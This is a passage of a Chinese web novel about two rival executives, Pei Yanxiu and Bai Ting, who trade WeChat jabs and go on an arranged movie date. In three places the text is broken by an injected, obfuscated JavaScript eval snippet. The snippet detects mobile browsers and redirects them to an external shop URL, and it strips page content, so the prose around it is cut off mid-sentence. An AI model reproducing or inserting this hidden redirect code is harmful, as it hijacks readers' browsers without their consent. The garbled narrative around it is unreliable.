脑子里忽然浮现出柏停白天在研究所说的那句,“裴总要是看上我的色相……” 方才那点不合时宜的怜爱顿时烟消云散,即将落下的手指顿住,悬在半空中。裴言修翻了个白眼,将手机扔进沙发里。 不加了,等那自恋狂来加自己吧。免得他又脑补什么。 与此同时,小区的另一栋内,柏停盯着手机上名为“给朕住嘴”的个人名片,陷入了沉默。 裴言修的微信号和本人一样,里里外外都透着张牙舞爪。名字叫“给朕住嘴”,个性签名是“面刺寡人之过者,斩。” 柏停嗤笑一声,随手发了个好友申请过去。 8. 鲜红的“1” 裴言修洗完澡出来,阿姨已经给他做好晚饭了。 家里有外人总归是没有那么自在,因此阿姨并不住在这里,只是在裴言修需要的时候过来做两顿饭,打扫打扫卫生。 裴言修手里捧着碗,目光落在手机上。林尤墨那小子,跟个没断奶的baby似的,屁大点事都要给他发消息。 今天屯了他一天的消息,裴言修知道,再不点开,他这位高需求好友就要闹了。 批奏折。 裴言修在心里给自己这个行为下了个定义,一下连那几十条未读消息都顺眼许多。 回完他的消息,又在家庭群里照例插科打诨了几句,裴言修注意到下方通讯录那一栏冒出来一个鲜红的“1”。 心头一动,带着某种预感。他指尖轻点,验证消息随之展开。 【木白请求添加您为好友】 裴言修多看了两眼,请求理由那一栏是空白,连个假模假式的客气问候都没有。对方好像笃定自己知道他是谁,也笃定自己会加他。 十足十的柏停风格。 “讨人厌的自大狂……”他低声吐槽了一句,手指却还是点下了通过验证。 带着几分故意作对的心思,裴言修飞快地敲了两个字发过去:【哪位?】 柏停也不知道在做什么,回的竟然出乎意料的快。裴言修扒口饭的功夫,消息已经回了过来。 【木白:陛下还真是贵人多忘事。】 “咳……咳咳咳……” 裴言修一口饭呛在喉咙眼,咳的昏天黑地,热度“噌”地窜上耳根。猛灌了一大杯凉水,才算是从那种要咳死人的劲头中缓过来。 他的微信名和给亲友的备注从中二时期沿用至今,一直没改过。至于原因……嗯……只是因为他这人比较恋旧,想要保留青春印记……总之他坚决不承认是自己中二期过长。 但自封皇帝这种事情,自己颅内高.潮一下也就算了。被人舞到面前来,羞耻度完全不是一个量级! 尤其那个人还是柏停!!! 裴言修猛地放下筷子,只觉得脸颊都要烧了起来,头顶都快能烤鸡蛋了。 他深吸一口气,指尖重重戳着屏幕,发了两个“死亡微笑”的表情回去。力道大得几乎要在手机上戳出个洞来。 发完仍不解气,他又翻出那个“轰意大利炮”的动图表情包,对着对话框一阵狂轰滥炸。炮火连天中,柏停那条消息终于被顶的消失在了裴大少的视线里。 柏停也不知道是不是被他这简单粗暴的回话方式震慑到了,没再回消息。 裴言修正打算跟他舌战三百回合呢,就这么一拳打在了棉花上。他恨恨磨牙,打开了备注页面。 爱叫陛下是吧?爱当狗腿子是吧?行,让你当个够! 指尖翻飞,“木白”两个字被无情删除,取而代之的是几个大字:【东厂厂公】 设置完成,他盯着那四个字看了一会儿,终于觉得胸口的闷气消散了些。 鬼使神差地,他点开了柏停的朋友圈。 里面什么也没有,不知道是柏停屏蔽了他还是真就从来没发过。一片空白之下,朋友圈的背景图就显得格外打眼。 ——那是一只蹲坐在草坪上的边牧。黑白相间的毛发柔软顺滑,眼神显得格外安静聪明。 从构图和画质来看,不像网图。裴言修莫名觉得背景那块草坪有些眼熟,但很快被另一个念头覆盖过去:柏停还养狗? 就他?裴言修下意识地排斥这个想法。以柏停那副惯会装模作样、可能还有点腹黑的性子,实在不像是有耐心伺候活物的人。 只怕不是人养狗,是狗养人吧。 他几乎能想象出那画面——柏停靠在沙发上装逼,一边奴役聪明勤劳的小边牧给他叼拖鞋、拿遥控器。 呸。他在心里狠狠唾弃了这种行为,一边瞥了眼时间。嗯,八点三十六,还没到他爸妈平常睡觉的点。 这么想着,他反手一个视频通话call了过去。 铃声响了几下就被接了起来,屏幕那头出现了林雅女士敷着面膜的脸:“崽崽?怎么啦?” “妈咪。”裴言修下意识放轻了声音,“妹睡了吗?” 林雅一愣,随即笑开:“想她了啊。没呢,在下面玩玩具。等着,我让芳姨抱上来。” 屏幕短暂地晃动了几下,再次稳定时,一张咖啡色的、毛茸茸的小脸几乎占满了整个画面,湿漉漉的黑鼻子好奇地凑近镜头,仿佛在辨认什么。 “妹!”裴言修心头一软,弯眼叫道。 “汪汪!”小泰迪像是终于确认了屏幕那头是许久未见的主人,立刻人立起来,两只小巧的前爪激动地扒拉着屏幕,发出细碎的抓挠声,尾巴摇得像一团欢快的小旋风。 妹是裴言修高中的时候养的,名字叫“妹”,其实年纪已经不小了。林雅当年连生了两个都是儿子,心里实在是想要个女儿,但裴照担心她的身体,死活没松口。 于是多年后,裴言修在给这只小狗取名时,便给她取了“妹”这个字,好记又温暖,也算是弥补全家人的遗憾。 方才看到柏停那只狗……他的意思是,柏停养的那只狗,他几乎是下意识就想起了妹。冲动之下,一个电话就打了过来。 “她一听你声音就激动得不行。”林雅笑着将妹抱起来,握着她的爪子朝屏幕那头挥了挥,“妹,哥哥想你了,你想不想哥哥呀?” “汪!” 妹十分给面子,逗得屏幕两头的人都弯了眼。 “妈咪。”裴言修趁机道,“你让妹来我这边住两天呗。” 林雅瞪他:“然后跟着你吃那些垃圾食品?想都别想。” “妈——咪——”裴言修拖长音,讨饶道,“我保证不!我让陈姨天天给她做营养餐还不行吗?” “那你去上班的时候怎么办?你又不喜欢陈姨天天待在家里,难不成天天带着妹去公司?” 裴言修一想,也是这么个理,这才作罢,妥协道:“好吧。那等过段时间我休假。这个季度最忙的时候快结束了,过段时间闲下来我再接她来。” 林雅敷衍着道:“到时候再说吧,看你这段时间表现。” 至于是看什么表现……裴言修不想展开。眼看着话题就要滑向危险的方向,他立马拾起警惕,三下五除二地和林雅女士道了别,说完晚安之后挂断电话。 周四的时候,裴言修收到了赵玥发来的协议。配合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274634|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研究这件事算是他的私事,而且他暂且不想让太多人知道,因此没有交给公司法务部审,而是拜托了他的一位律师朋友。 朋友名叫万理,是他的高中同学,交情一直不错。万理很快帮他审完了合同,告诉他没问题,可以签。 裴言修回了句感谢,说改天请他吃饭。 【万理:害,小事儿】 紧接着又发了一条语音,语气里是藏都藏不住的八卦和兴奋:“你真要和姓柏的那小子绑在一块啊?你俩天天约会……得是什么样?不得把洛城炸了?” 裴言修面无表情打字:【是见面,不是约会。】 再有第三个人说错,他觉得自己就可以考虑买块牌匾挂在身上了。 万理依旧是语音:“见面见面见面。那你们这周的kpi还没达标吧?打算去哪玩啊?” 裴言修回道:【没定】 万理嘿嘿一笑:“兄弟有地方推荐,去不去?” 他高中的时候就玩的花,配合上此刻这个语气,裴言修立马警惕起来:【不去】 万理恍若未闻,继续他的倾情推荐:“工艺路那儿新开了家gay吧,据说0都辣的不行……” 这条裴言修没听完就掐了。他面无表情地点点头,发语音道:“哦,我和他过去一人搂个0,然后月末去研究所汇报四人约会?你可真是个天才。” 万理:“嘶……好像是有点不妥。那不管了,下次咱俩去。” 裴言修:“滚。你找林尤墨陪你去。” 万理:“那不行。他过去只能和那群0争宠。” 裴言修:【截图】 裴言修:【转文字截图给笑儿了,你好自为之】 那头的万理没再回消息,估计是被林尤墨消息轰炸了。裴言修轻而易举地转嫁了矛盾,事了拂衣去,深藏身与名。 他按灭了手机,一把薅住正好进来送文件的白松:“环隆那边最近有联系你吗?” 白松一愣,很快反应过来:“柏总那边吗?暂时没有,怎么了boss?” 裴言修想想也是,每周见面这事儿算是他和柏停的私事,应该不会通过助理联系。 他摆了摆手:“没事,帮我弄杯橙汁进来。加冰,多糖。” 白松:“好的。”他接了指令正准备出门,却突然听见裴言修又道:“等等。” 裴言修若有所思:“一般见面可以约在那些地方?” 白松没太听明白:“什么见面?谈判?约会?聚会?还是别的什么?” 裴言修有些不耐:“就是见面。没听我说吗?‘一般见面’!最普通的那种见面,两个人的。不附加任何属性。” 白松这下是真有些懵了。见面还能不附加任何属性?总得有个目的或者主题吧?要不然见对方干嘛? 没有任何目的,只是单纯想见见……那一般无外乎是至亲、挚爱、挚友。 他想了想,试探着道:“boss大概要个什么效果?” 裴言修想到柏停那张臭脸,这次最好是能把他怼到哭出来!要是柏停哭着叫爸爸……那他可以勉强认下这个二儿子。 指尖敲了敲办公桌,他抬眼道:“‘相顾无言,惟有泪千行’的效果。” 9. 邀约(作收加更) 嘱咐完白松,裴言修拿起手机。再过一天就是周末,也不知道柏停是不是忘了这茬。 既然当初是柏停主动加的好友,那见面这事儿,索性自己先开口,也算扯平。 这么一想,裴言修心安理得地给柏停扣了个“1”过去。不过也仅止于此——再多的话,他一句也不想主动。发完就把手机往边上一放,重新投入工作。 再抬头时,窗外天色已暗。他舒展了下有些僵硬的肩颈,顺手拿起手机。几乎就在屏幕亮起的瞬间,柏停的消息跳了出来。 【东厂厂公:?】 【东厂厂公:0】 裴言修盯着那俩字符,眉头缓缓拧起:“……?” 什么东西?他莫名其妙地打了几个问号回过去,然后把把手机揣回兜里,拿着车钥匙往外走。 今天没叫司机,他自己开车。刚在驾驶座坐稳,系好安全带,手机在手边轻轻一震。他瞥了一眼—— 【东厂厂公:是在叫你。】 叫他?叫他什么? 裴言修愣了半秒,目光扫过自己下午发出去的那个孤零零的“1”,又落回柏停回复的“0”上,脑子里那根弦“啪”地一声接上了。 ……好。很好。 工作到这个点,他本来已经身心俱疲。柏停倒是做了件好事,瞬间裴言修就觉得全身都有劲了——疲惫全化成了怒火。 他咬牙切齿地打字:【柏总又想被意大利炮轰了是吧?】 许是他的威胁奏了效,柏停那头安分了一点,半晌回过来一句: 【找我什么事?】 裴言修余怒未消,把柏停前几天的原话还给他:“柏总也是贵人多忘事~” 怕文字诠释不出他的阴阳怪气,裴言修特意发的语音。 “这周kpi还做不做?不做提前说一声,免得到时候你倒打一耙说我违约。” 这个时间已经过了晚高峰,裴言修回家没怎么堵,甩着钥匙上楼。客厅里太安静,他随手调了部综艺,又洗了点水果,摊进懒人沙发里,慢悠悠地点开柏停的消息。 【东厂厂公:周六有空吗?】 裴言修挑了挑眉,心道,姓柏的这回倒是上道。这么想着,回过去的话却半点没肯落下风:【没、空】 【东厂厂公:没空的话发个你会停留的地址给我,我去找你。】 “嘁。” 想到白天万理跟他说的,裴言修心头一动,发道:【我去gay吧,你也来吗?】 这句话效果比他想象的还要好。甫一发出去,柏停那边半晌没回话。 想到对方吃瘪的样子,裴言修心情大好,捻了颗阳光玫瑰嚼。果然,他就知道,直男都受不…… 【东厂厂公:如果裴总有约.p时被人旁观的爱好,我不介意配合。】 裴言修:???? 刚刚什么玩意儿从他眼前划过去了??? 约.p……旁观…… 裴言修一阵恶寒,他盯着那行字看了好几秒,才缓缓眨了下眼,依旧不敢置信自己看到了什么。 ……这人是不是有什么毛病? 心下不管多炸裂,裴言修面上是半点不肯认输。他舔了舔后槽牙,回道:【那柏总还真是忍辱负重】 柏停:【你知道就好。】 裴言修:“……” 他深吸一口气,把手机扔到一边,决定不再回任何消息。 跟神经病较什么劲。 —— 夜半三更,舞池里摩肩接踵,灯红酒绿,噪音震天。裴言修被面前几位大哥斗大的肱二头肌挤得喘不过气,没忍住后退了几步。一只微凉的手扶住了他的手腕。 他抬头:“谢……” 话没说完,就撞进一片娇声笑语里。几个穿着短上衣和热裤、妆容精致的男孩围了上来,当先那个扭着纤细的腰身,声音又软又黏:“哥哥,快来玩呀~” 裴言修张了张嘴,漂亮男孩扭着纤细的腰身凑近:“哥哥~好看吗?” 裴言修手足无措:“我不……” 男孩眨着眼睛:“你不什么?” “我不是……”余光闪过一道熟悉的侧影,裴言修如同看到了救星,一把抓住那人:“柏停!你来告诉他们,我不是gay!” “柏停”没说话,一点一点转过身来。裴言修这才看清他的装扮,同样的短上衣、热裤,露出肌理分明的腰部线条。 裴言修脑子“嗡”地一声,宕机了。他听见柏停低低地笑了一下,用一惯磁性冷感的声音轻声说:“哥哥,好看吗?” 哥哥,好看吗…… 裴言修猛地睁眼,大口呼吸。睡前被他当成抱枕的枕头不知什么时候已经整个覆盖在了他脸上,闷地他喘不过气来。 外头天色已亮,裴言修狠狠蹂躏了一把“罪魁祸首”,从床上起身。起身前还特意低头看了一眼,一切如常,并没有什么可疑痕迹。 呼,还好。他长舒一口气。果然只是因为昨天万理和柏停两人的发言太过变.态,他才会做这样的梦。 白松的办事效率很高,昨天布置下去的任务,今天一到公司,他就给裴言修汇报了。 “boss,您昨天要我找的地方已经找好了。” 裴言修点点头,问道:“定的哪儿?” 白松正准备说话,裴言修电话铃声突然响了。他低头看了一眼,是乐影的秦总。他们合作的项目最近正在展开,估计是为这个来的。 公事要紧,裴言修对白松比了个噤声的手势:“算了,你过后直接把地址发我吧。” 挂断电话后,他没看白松的消息,想了想,先给柏停发道:【以后的每周一见,咱俩轮流安排?这周我负责,下周轮到你。ok?】 柏停大概也是在忙,没回复。裴言修就当他默认了。 点开白松的消息,裴言修瞳孔缩了一下。 ——白松发来的并不是地址,而是电影票二维码。 裴言修大学的时候养成了一个人去院线看电影的爱好,频率大概每月一次。直到如今,这个爱好仍旧保留。 他深吸一口气,打通内线电话叫白松进来。 “这就是你挑好的地方?” “是的。”他观察着裴言修的神色,小心翼翼道,“怎么了boss?这部电影您看过了吗?” 白松纳闷,这两天新上的,应该不会啊…… 裴言修深吸一口气:“……说说,怎么想的?” 白松正色道:“因为您说要‘相顾无言,唯有泪千行’。电影院不能大声说话,满足相顾无言。这部电影的评价我查过了,都说很好哭,绝对能泪千行。” 裴言修:“……” “boss……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274635|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见裴言修面露菜色,白松不由地有些心虚。好在裴言修没太为难他,只闹心地摆了摆手。 白松会意,圆润地滚了出去。 在他带上门的一瞬间,柏停的消息也回过来了:【ok】 裴言修:“……” 周六这天早晨,裴言修硬着头皮把电影院的地址发给了柏停。 这两天他想了很多,比如把电影票转赠给别人,他再安排别的活动。但又实在想不到还能做什么。 ——以他和柏停的关系,做什么都尴尬。还不如看电影,起码可以把注意力放在电影本身上。 把地址发给柏停的时候,裴言修还存有一点侥幸心理,可惜他低估了柏总能牺牲名声和贞操的脸皮。直到他走到电影院门口,手机都安安静静,柏停半个“不”字都没说。 裴言修只得认命,拿出口罩戴上。离电影开场还有半小时,里头的等候位都已经坐满。裴言修取完票,往影院门口走去。 他身高腿长,衣品又好,哪怕戴着口罩也遮不住眉眼的好看。 不远处,一个年轻女孩被狠狠惊艳了一下,小声鸡叫给闺蜜发语音:“啊啊啊啊啊我看到一个小帅哥!!好帅!!气质干净又矜贵啊啊啊啊。不过看上去好像在等人,不然我就上了。” 闺蜜秒回:“巧了,我这边也看到一个!又帅又A,完全是daddy级别的啊啊啊啊……他刚刚看了我一眼,我腿软……” “我去,那你快冲啊!他都看你了!!” 门口三三两两站着几位等候的男士,姿态各异。裴言修身形修长,站在影院门侧光洁的立柱旁,乍一看似乎与其他等待的人并无二致。 身旁一位格外扎眼的汉子正举着手机温声细语。那人虎背熊腰,络腮胡子几乎遮住了半张脸,胳膊上还隐约露出青黑的纹身,可对着手机说话的声音却甜腻得像融化了的蜜糖:“宝宝~我到门口了~你妆化好了吗?不急哦,慢慢来,我等你……” 嗓音和粗犷的外表形成了令人头皮发麻的反差,引得旁边几位同样在等女伴的男士纷纷侧目,交换着忍俊不禁的眼神。 “又是个等女朋友的。”一个年轻男孩低声对同伴嘀咕,语气里带着同病相怜的笑意。 等女朋友…… 裴言修掌心的电影票一下就变得烫手了起来,他不动声色地往旁边挪了挪,鬼鬼祟祟地把自己藏进了一个不起眼的角落。 柏停这货怎么还不来啊……他咬牙切齿,下次他一定不做早到的那个了。 “捂的这么严实,裴总是在做贼?” 裴言修吓了一跳,回头便看见柏停,瞪大眼睛:“你,你什么时候来的?”他下意识往对方身后看了一眼,“怎么是从那头?” 柏停没答话。下一秒,裴言修觉得手里一沉。 他下意识抱住柏停递过来的东西,纸袋窸窣作响,里面是一大桶金黄酥脆的爆米花和一杯奶茶。奶茶杯壁还凝着水珠,甜香扑面而来。 “……给我的?”裴言修一愣,低头看向怀里甜腻的搭配,犹豫了一瞬,还是没忍住脱口而出,“你……不会是把我当女孩子了吧?” 话一出口他就后悔了。 果然,柏停逮到嘲讽他的机会,把奶茶和爆米花从他手里拿回来:“失敬。没想到裴总看电影也要配白的,下次我注意。” 裴言修:“……” 10. 约会 不远处,刚才偷看裴言修的女孩也正跟闺蜜汇合:“快来!那个小帅哥应该还在!” 闺蜜饶有兴致地凑过来,女孩兴奋地指向角落,“那边那边……” 话音刚落,两个女孩同时一顿。下一秒,同时发出尖锐爆鸣。 “我的天!怎么又多了一个帅哥啊啊啊啊!!” “这就是我刚才跟你说的那个!我在爆米花柜台前遇到的就是他!” 正说着,柏停将手上的爆米花递给了裴言修,后者捧了满怀的爆米花,口罩上方那双清澈明亮的眼睛肉眼可见地瞪大。 两个女孩对视一眼,捂嘴尖叫:“原来爆米花是给他买的!” 闺蜜激动地抓紧同伴的手臂:“破案了!他刚才根本不是在看我,是在研究我手里的奶茶!他是想给老婆买同款!” “老婆”这个词一出来,两人又是一阵鸡叫。女孩率先拽住闺蜜:“小点声,小点声……” 电影院人声太嘈杂,裴言修完全没有注意那边的动静。他从柏停手里拿回奶茶,揭开口罩吸了一口。 “谢了。回头我转你。” “不用。电影票是你买的。” 裴言修点点头,不再纠缠。 两个身价亿万的霸总都没有觉得这样的对话有什么不对,一齐检票进了场。 “八号厅前面直走左拐,祝观影愉快。” 白松订的位置很好,几乎是在整个影厅的正中心。裴言修这阵子工作忙,有两个月没来过了。甫一坐下,便像是进入了自己的绝对领域。他熨帖地往后一靠,按摩椅在腰椎处滚动起来。 裴言修舒服地轻哼一声,半眯着眼看向柏停。柏停的目光停留在巨幕上。 “看广告也看的这么认真。”裴言修道,“柏总很少来电影院?” 柏停没否认:“比不得裴总,如鱼得水。” 裴言修点头:“我的确常来。在家看和在影院看是完全不一样的感觉,我更喜欢后者。” 柏停并不意外:“难怪要把地点定在电影院。” 裴言修一噎,正打算解释,转念一想,让柏停这样以为也好。免得他又发散什么。 电影正式开始。裴言修此前除了知道这是一部讲亲情的电影和它在各大平台评分高达9.6之外,对其他信息基本一无所知。 直到片头演职员表浮现,他的目光在“领衔主演”一栏顿住——“俞臻”。 这两个字让他不禁坐直了些。这居然是他哥对家的电影?评分这么高,看样子这姓俞的也不像裴思行嘴里说的那样,除了脸一无是处嘛。 裴言修勾起嘴角,掏出手机,对准银幕上恰好出现的俞臻特写镜头,连拍了好几张,打算回头好好刺激刺激他哥。 “你是他的粉丝?”收起手机的一瞬间,他听见柏停问道。许是电影院太安静,柏停声音压得很低,人也下意识倾身凑近了些。 裴言修低头便能看见他长而浓密的睫毛。他不动声色地往后靠了靠,含糊道:“没,随便拍两张。到时候方便跟研究所交差。” 柏停点点头:“他长的是不错。比你上次饭桌上搂的那个好看。” 裴言修:“……”这人到底有没有听他说话! 他无语:“明星和素人怎么能一样?你别找茬。” 柏停没再多说,把手里的爆米花放到他腿上:“自己拿着,吃完。” 电影的情节层层递进,情感渲染力极强。裴言修一直是个对文艺作品共情力很高的人,此刻能清晰地感受到胸腔里那股熟悉的酸胀感在涌动,鼻尖也泛起微酸。有几处动人的桥段,他眼眶已然发热,湿润的水汽在边缘汇聚,几乎要夺眶而出。 然而……嘴里过分甜腻的爆米花残骸正在顽强地发挥着余热。糖精与奶油的人工香气纠缠着味蕾,脑子里被剧情催生出的悲伤情绪,与身体分泌的多巴胺打架,愣是让他半点哭不出来。 这种不上不下的感觉让他心里堵的慌。他面无表情,有些用力地咽下嘴里那团甜得发腻的残余,偏头去看身旁的罪魁祸首。 随之一愣。 罪魁祸首正偏着头,留了一个后脑勺给他。借着银幕明明灭灭的光线,他看到柏停抬起的手,以及他指间那张已然揉皱、正轻轻擦拭着脸颊的纸巾。 裴言修大为震悚,脑子里瞬间炸开一个难以置信的念头:柏停……在哭??! 柏停,竟然会因为一部亲情电影,偷偷别过脸去擦眼泪? 这画面带来的冲击力,一时之间甚至盖过了电影本身。裴言修犹豫了一下,伸出手轻轻拍了拍柏停的肩膀。 柏停的动作微微一顿,随即转回头来。 银幕的光恰好在此时亮起,清晰地映照出他的脸——皮肤干净,眼眶周围既没有泛红,脸颊上也看不到丝毫泪痕,只有眼神里带着一丝询问看向裴言修。 裴言修一时语塞,准备好的说辞卡在喉咙里。他眨了眨眼,在对上柏停平静无波的目光后,有些尴尬地清了清嗓子,将手里的纸巾递过去了一点,迟疑开口:“你……还要纸巾吗?我这儿还有多的。” 柏停神色微妙,半晌才道:“……不用。擦嘴用不了那么多。” 裴言修:“……” 从电影院出来,两人手上的两杯奶茶,一大桶爆米花都已经被解决。裴言修头一回看完电影什么情节都不记得,只记得嘴里甜的发苦的滋味。 天色向晚,已是饭点。可两人谁都没提出要一起吃晚饭,不约而同地保持了沉默,一齐往外走。 裴言修犹豫片刻,骨子里的涵养还是让他礼貌性地问了一句:“我开车来的,要我捎你一程吗?” 柏停似是怔了怔,过后道:“不用。我晚上有饭局,已经让司机来接了。” 得到意料之中的拒绝,裴言修松了口气:“那我回了。你路上小心。” 柏停:“嗯,你也是。” 裴言修回到家里,把手机里刚拍的俞臻的照片发给了他哥,拱火道:【你主观太能动了裴思行同志,人家演技明明很好】 裴思行:【???叛徒!!!逐出家门!】 【下个月我的新电影也要上了。你必须给我去看!包场看!!】 裴言修轻笑了一声,没再回话。又把照片发给林尤墨:【这个电影还不错,可以一看】 林尤墨也爱看电影。不过他更偏爱喜剧和科幻大片,裴言修则更偏好现实向的片子。但也不妨碍两人偶尔会互相推荐交流。 过了一会儿,林尤墨的电话打了过来:“喂羞儿,还没吃饭吧?” 裴言修:“没呢,刚从电影院回来,爆米花还在喉咙眼里。” “爆米花?”林尤墨疑惑,“你看电影的时候不是一向不爱吃那玩意儿吗?说影响观感。” “……”裴言修被好友问噎住,半晌糊弄道,“偶尔尝试尝试新东西。” 他转移话题:“怎么了?想找我吃饭?” 林尤墨:“Bingo~知我莫若你。我已经看好餐厅了,怎么样,走不走?” 裴言修无可无不可:“地址发我。” 林尤墨:“不用。从我这儿过去顺路经过你家,你等我来接你。” 裴言修:“行,到楼下给我发消息。” 正准备挂电话,裴言修又想到了什么: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274636|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我叫上万理一起?上次托他帮了个忙,正好这顿我请了。” 林尤墨爽快道:“行,那我把地址发他。” 三人很快在餐厅碰上面。林尤墨挑的餐厅藏在老巷深处,门面不大,里头却别有洞天。 暖黄的灯光从垂挂的灯罩里透出来,落在深棕色的木桌与丝绒椅上,空气里漫着烤面包与香草的气息,隐约还能听见后厨传来滋啦的油响。周末傍晚,店里几乎坐满,人声低低地拢成一片嗡嗡的背景音。 裴言修和林尤墨是俩油盐坛子,有空就厮混,和万理倒是实打实地有一阵子没见了。 “羞儿,笑儿!”万理不知道是刚从哪个当事人那儿过来,身上还是一身挺括的西装,领口扣得严实,领带都还没松。他个子高,肩线平直,站在一身休闲装的林尤墨和裴言修旁边,成熟得像他俩家长。 两人笑了好一阵,被万理一拳锤上胸口:“笑屁啊笑。接到你俩消息,我开完庭连衣服都没换就直接过来了,还不够意思?” 林尤墨被他捶得“哎哟”一声,脸上笑意却没收,忙不迭点头:“够意思,够意思!万律辛苦!” 万理这才算满意,目光转向一旁嘴角还噙着笑的裴言修。他走近两步,鼻头下意识动了动,上下扫了他一圈,奇道:“你这香水跟你今天这身不搭啊,这么烈。新买的?” 裴言修今天则穿了件浅蓝色的长风衣,内搭是米白色的针织毛衣和浅蓝阔腿牛仔裤,脚上一双灰白色的板鞋。他头发也没特意打理,黑色的碎发蓬松地垂在额前,几缕微微遮住眉毛,整个人看起来清爽又闲适,像偷闲跑出来玩的大学生。 身上的香水味却与装扮迥异。那是种带着烟熏感的皮革调男香,前调有些冲,但沉淀之后,后调却缓缓透出几分干燥的橡木与微酸葡萄酒香的气息,闻起来醇厚、复杂,甚至带点不动声色的攻击性。 事实上,他今天根本没喷香水。 裴言修沉默了一会儿,撩起眼皮看万理:“你是狗鼻子吗?” 万理权当夸奖,得意地勾起嘴角,没接这话茬,反而更凑近些,像真在确认什么似的又嗅了嗅。 裴言修没给他继续发散的机会,伸手把菜单往前一推,指尖在软皮封面上点了点:“别扯了,先点菜。笑儿说这家的黑虎虾烩饭好吃到旁边死了个人都不知道,今天高低得尝尝。” 林尤墨已经在对面翻着菜单频频点头,嘴里念叨着还要加个辣味鸡翅。万理这才笑着坐下,解开西装单扣,顺手将袖口稍稍挽起一截,露出腕上那块简约的金属表。他一边看菜单,一边还忍不住瞥裴言修,眼神里那点促狭的探究还没完全褪去。 菜陆续上齐,摆满了小半张桌子。瓷盘碰撞发出清脆的细响,热气混着香料味袅袅腾起。三人天南海北地聊,从万理最近跟进的案子,扯到林尤墨上周遇见的奇葩,又跳到城东新开的画廊。 吃到一半,万理突然放下手里的叉子,“啊”了一声,眼睛微微睁大,像脑袋上“啪”地一下亮起了一个小灯泡:“我知道了!” 裴言修正用勺子搅着面前的奶油蘑菇汤,闻言眼皮一跳,直觉他没好事。不等他开口阻止,旁边林尤墨已经好奇地探过身子,嘴边还沾着一点酱汁:“知道什么?” 万理身体往后靠进椅背,双手交叠在身前,一脸参透玄机的模样,嘴角笑意加深:“今天周六啊!所以羞儿你下午是去见柏停了吧?” 他顿了顿,目光落在裴言修瞬间僵住的脸上,慢悠悠补上后半句,“身上的香水味也不是你的,是他的。” 说完,他促狭地朝裴言修眨了眨眼,活像抓住了谁的小辫子:“我猜得没错吧?” 11. 对决 裴言修:“……” 他一巴掌拍在了自作聪明的万理的后脑勺上,咬牙切齿道:“你不说话没人把你当哑巴。” 万理一脸无辜,在嘴上做了个拉拉链的动作。 林尤墨眯眼,视线在他们两之间转了个来回,危声道:“你们有事瞒着我。从实招来!” …… 三分钟后,林尤墨变了调的声音响彻整个包厢:“这么大的事,你居然告诉他不告诉我??!!” 裴言修被音浪冲击地往后避了避:“我谁也没告诉。万理知道是因为合同是他帮我审的。” 万理也赶紧帮腔:“对对对,我作证。羞儿绝对没背着你跟我偷情。” 裴言修和林尤墨都看了过去。万理咽了咽口水,补充道:“……偷友情。” 裴言修:“……” 他还没来得及说话,林尤墨已经一把拍在桌上:“但他背着我跟柏停偷情了!” 万理“诶嘿”一笑:“这个是爱情。” 裴言修:“……” 他忍无可忍:“你们俩够了!” 林尤墨怒道:“够什么够?你居然跟他签这种丧权辱国的条约?”他痛心疾首地指着裴言修,“你怎么跟我骂他的你都忘了?第一次见面,他坑你一千万;第二次见面,他抢了你一个项目;第三次见面,他当着所有人的面说你裤拉链没拉!” “噗。”万理没忍住。 裴言修额角青筋直跳:“你到底骂谁呢这是?小声点行不行?” 他深吸一口气,试图把话题拉回正轨:“而且也不是跟柏停签的合同,是跟研究所签的。” “有区别吗?”林尤墨盯着他,语气严肃起来:“你到底怎么想的?” 话都说到这个份上了,裴言修叹了口气,将家里的事三言两语交代了一遍。 林尤墨听明白了,却还是嘴硬:“那就非得找柏停?世界上没别的男人了?不说别人,就……”他环顾一周,突然一把扯住万理的衣领,“就万理!万理都可以陪你装!” 万理脖子被夹进他臂弯,一口饭呛进嗓子里:“咳咳咳……我不可以!我不可以,祖宗!” 林尤墨:“……” “……那我!我也可以!” 裴言修像看傻子似的瞥他一眼:“你可以什么?我妈,林雅女士,你爸的姐姐,你的亲亲姑妈!我可不想跟你一起被乱棍打死。” 万理捂嘴:“骨……” 裴言修点头:“骨头都给你打折。” 万理:“……”他默默咽下即将脱口而出的那个k。 林尤墨:“你们下次见面是什么时候?” 裴言修:“不出意外的话,下周六。” 林尤墨:“我陪你一起去。” 裴言修:“??!” —— 夜色已深。柏停从酒局抽身,车内弥漫着洋酒与烟丝混杂的余味。他靠在座椅里揉按眉心,西服外套随意丢在一旁。 手机在静谧中突兀一震,柏停开窗的手顿了顿,眉心微跳。 自从加上了某人,他的微信就变得格外活跃,响动频率直线上升。 他打开微信,快速地扫了一眼消息,回道:“可以。” 